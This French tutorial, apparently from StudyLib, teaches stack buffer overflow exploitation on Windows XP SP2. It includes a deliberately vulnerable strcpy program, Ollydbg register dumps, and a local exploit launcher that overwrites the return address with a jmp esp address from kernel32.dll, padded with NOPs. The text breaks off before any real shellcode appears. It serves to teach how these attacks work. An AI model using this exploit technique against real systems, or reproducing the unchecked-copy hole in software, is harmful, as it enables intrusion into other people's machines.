Exploiter la stack sous windows xp sp2
Just for knowledge
Pourquoi cet article ?
On trouve sur internet à 90% que des articles expliquant la technique sous linux, or le
commun des mortels possèdent windows !!!
De plus la plupart des articles que l'on rencontre sont soit que de la théorie soit que du
repomper d'ailleur, et souvent repomper de l'article de phrack « Smashing The Stack For Fun
And Profit »
Je ne suis pas un grand écrivain comme vous pouvez le voir mais j'ai envie de faire partager ce
que je sais faire alors c'est parti.
Je vais tenter de vous montrer à quel point il est facile d'exploiter un stack overflow sous
windows xp sp2.
Vous aurez besoin d'un minimum de connaissances, en asssembleur, sur l'architecture de la
mémoire, et posséder un debuggeur.
Etant donné que je réalise cette exploitation sous windows, je me sers d'Ollydbg qui est pour
moi le meilleur debuggeur, qui sert pratiquement à tout :).
Rappel, stack ou pile
La stack est une structure de données basée sur le principe LIFO, ( Last In, Firts Out) ce qui
signifie que les derniers éléments mis sur la pile seront les premiers à être récupérer.
Concrétement lors de l'appel d'une fonction, ses arguments sont poussés (push) sur la stack
suivi par l'appel de la fonction (call).
push eax //push du deuxième argument
push ebx //push du premier argument
call 0x77BF93C7 // appel de la fonction à partir de son adresse.
Lorsque l'appel de la fonction est exécuté, c'est-à-dire le call 0x77BF93C7, la valeur actuelle de
l'eip ( le point d'instruction) est poussé également sur la pile et sert d'adresse de retour de la
fonction.
Explication:
Une fois que la fonction aura terminé sa fonction :p, l'eip sera dépilé (pop) et permettra à la
fonction de rendre la main, ainsi le programme continuera son exécution en sautant vers
l'adresse contenu dans l'eip. L'eip est appelé adresse de retour ou RET sur la pile car il permet
à la fonction de rendre la main à l'exécution qui va poursuivre vers une instruction suivante
dont l'adresse est contenue dans l'eip ok ? Çà va ?
Adresse haute
eip contenant 0x77BF9300 par exemple appéle RET
ebx
eax
Adresse basse
donc dès que la fonction a terminé son boulot la RET est dépilé et on jump vers 0x77BF9300
continuer l'exécution.
Le stack overflow
Imaginons que vous déclarer un buffer d'une taille quelconque aller on va dire 20 octects :)
pour y recevoir une donnée rentrée par l'utilisateur.
Voici la pile:
Adresse haute
votre buffer
ebp
RET
Adresse basse
Etant donné que la pile croit vers le bas, nous allons avoir la possibilité d'écrire par dessus la
RET en entrant trop de valeur dans le buffer. Si aucun test n'est effecté sur la taille des
données que rentre l'utilisateur et bien les données en trop vont venir écrasé les données se
trouvant avant dans la pile.
Pourquoi écrire par dessus la RET ou eip ?
Nous avons vu que le programme, une fois que la fonction a terminé son travail, dépile (pop)
la RET et jump à l'adresse quelle contient donc si nous pouvons passer une adresse spécifique
à la place, le programme va jumper vers notre adresse.
Le but de l'exploitation d'un stack overflow est de faire exécuter des instructions arbitraires au
processeur (au programme cible). Ses instructions vont etre mis en mémoire dans la stack
dans le buffer où l'utilisateur entre des données :) et ensuite nous faisons un jump vers le
buffer ( en modifier l'adresse de la RET par l'adresse du buffer) et le processeur va tout
simplement exécuter les instructions se trouvant dans le buffer.
Bon aller assez parler, et puis si c'est flou passons à la pratique maintenant.
Munissez-vous de votre ami Ollydbg, aller dans option et mettez-le en mode Just-in-time
Debuggeur.
Nous allons réalisé un petit programme vulnérable.
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[])
{
char buffer[20]; // nous allouons un buffer de 20 octects
if(argc != 2){ return -1;}
strcpy(buffer, argv[1]);
/*nous copions directement sans contrôle le contenu de l'argument entré par l'utilisateur dans
le buffer de 20 octects.*/
printf("vous avez entre: %s\n\n", buffer); // on affiche le contenu du buffer
return 0x0;
}
Voici le déroulement correct du programme:
Maintenant que se passe-til si on entre plus de données que 20 octects.
Dès lors Ollydbg se lance, car il y a eu un problème en mémoire.
Voici l'état des registres:
EAX 00000000
ECX 77C118BF msvcrt.77C118BF
EDX 77C31B78 msvcrt.77C31B78
EBX 00004000
ESP 0022FF80 ASCII "AAAAAAAAAAAAAaa"
EBP 41414141
ESI 00000000
EDI 00000010
EIP 41414141
A en hexa vaut 0x41, donc on remarque que nous avons réecrit sur l'ebp se trouvant avant le
buffer dans la stack ( buffer + ebp + eip ) nous avons également réecrit sur l'eip et donc ainsi
nous controlons l'exécution :). Pour l'instant il ne se passe rien car l'adresse 41414141 ne
mène nulle part ici.
GDB un bon debugger nous aurait dit sympatiquement « segmentation fault » :)
On peut remarquer que l'esp a pris une partie de données que nous avons entrée, mais il est
bien trop petit pour les instructions que allons mettre et faire exécuter.
Concrètement ce que nous allons faire c'est écrit des instructions dans le buffer, réecrire l'eip
au bon endroit et jumper dans le buffer.
Fastoche :).
Première étape:
Trouver le nombre exacte de données pour écraser pile poil l'eip.
Bon bah çà çà ce fait à tatons :).
Construire l'exploit:
Voici la source assez simple de notre exploit, biensur en local.
#include <stdio.h>
#include <string.h>
#include <unistd.h> //execve
int main(int argc, char *argv[])
{
char *vuln[3];
char buffer[43];
vuln[0] = "prog.exe"; //programme vulnérable
vuln[2] = NULL;
unsigned char shellcode[] =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x58\x58" // RET ( eip )
;
memcpy(&buffer[0], shellcode, sizeof(shellcode)-1);
vuln[1] = buffer;
execve(vuln[0], vuln, NULL);
return 0x0;
}
Donc après tatonnage nous observons qu'il nous faut exactement 43 octects pour réaliser un
overflow et en réecrivant pile poil sur la ret.
\x58 en hexa correspond en ascii à la lettre X et \x41 à A. D'où la composition du shellcode
pour le moment. Nous verrons ce qu'est vraiment le shellcode par la suite.
Vérification en lançant notre exploit, ollydbg nous donne:
EAX 00000000
ECX 77C118BF msvcrt.77C118BF
EDX 77C31B78 msvcrt.77C31B78
EBX 00004000
ESP 0022FF80
EBP 41414141
ESI 0F0E0D0C
EDI 00000000
EIP 58584141 => ceci correspond bien à nos \x41\x41\x58\x58 de fins du buffer de l'exploit.
Rappel: Maintenant que nous pouvons réecrire précisément l'adresse de retour de la fonction
strcpy, et modifier le cours de l'exécution du programme il nous faut un endroit où jumper, un
endroit qui contiendra les instructions que nous voulons faire faire au processeur.
Il y a diverse manière d'exploiter un overflow, certains jump vers l'esp, essayons pour voir.
L'esp se trouve théoriquement à cette adresse 0022FF80 d'après l'état des registres
précédents. Mais l'esp n'est pas fixe ainsi nous allons faire un jump esp à partir de l'adresse
d'une des dll charger en mémoire.
Dans ollydbg, aller dans le menu view, puis executable module. Double cliquer par exemple
sur kernel32.dll, une fois décompiler faite un clic droit, search for> command.
Taper jump esp, si çà ne marche pas taper call esp.
Dans mon cas j'obtiens 7C82385D.
Remplaçons donc dans notre « shellcode » la ret.
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x41\x41\x58\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x5D\x38\x82\x7C" // RET
( eip )
;
La norme little endian veut que les adresses soient écrits par ordre d'octet de poids le plus
faible en premier d'où \x5D\x38\x82\x7C. Au passage j'ai remplacer les \x41 par des nops
\x90 qui est une instruction ne faisant rien du tout :). \x41 en assembleur est une instruction,
oui ce n'est pas un A !! seulement en ASCII. D'ailleur \x41 = inc ecx donc pour éviter de foutre
le bordel en mémoire. Mais j'en laisse deux pour bien identifier le buffer en mémoire.
Testons.
1 / 9 100%
La catégorie de ce document est-elle correcte?
Merci pour votre participation!

Faire une suggestion

Avez-vous trouvé des erreurs dans linterface ou les textes ? Ou savez-vous comment améliorer linterface utilisateur de StudyLib ? Nhésitez pas à envoyer vos suggestions. Cest très important pour nous !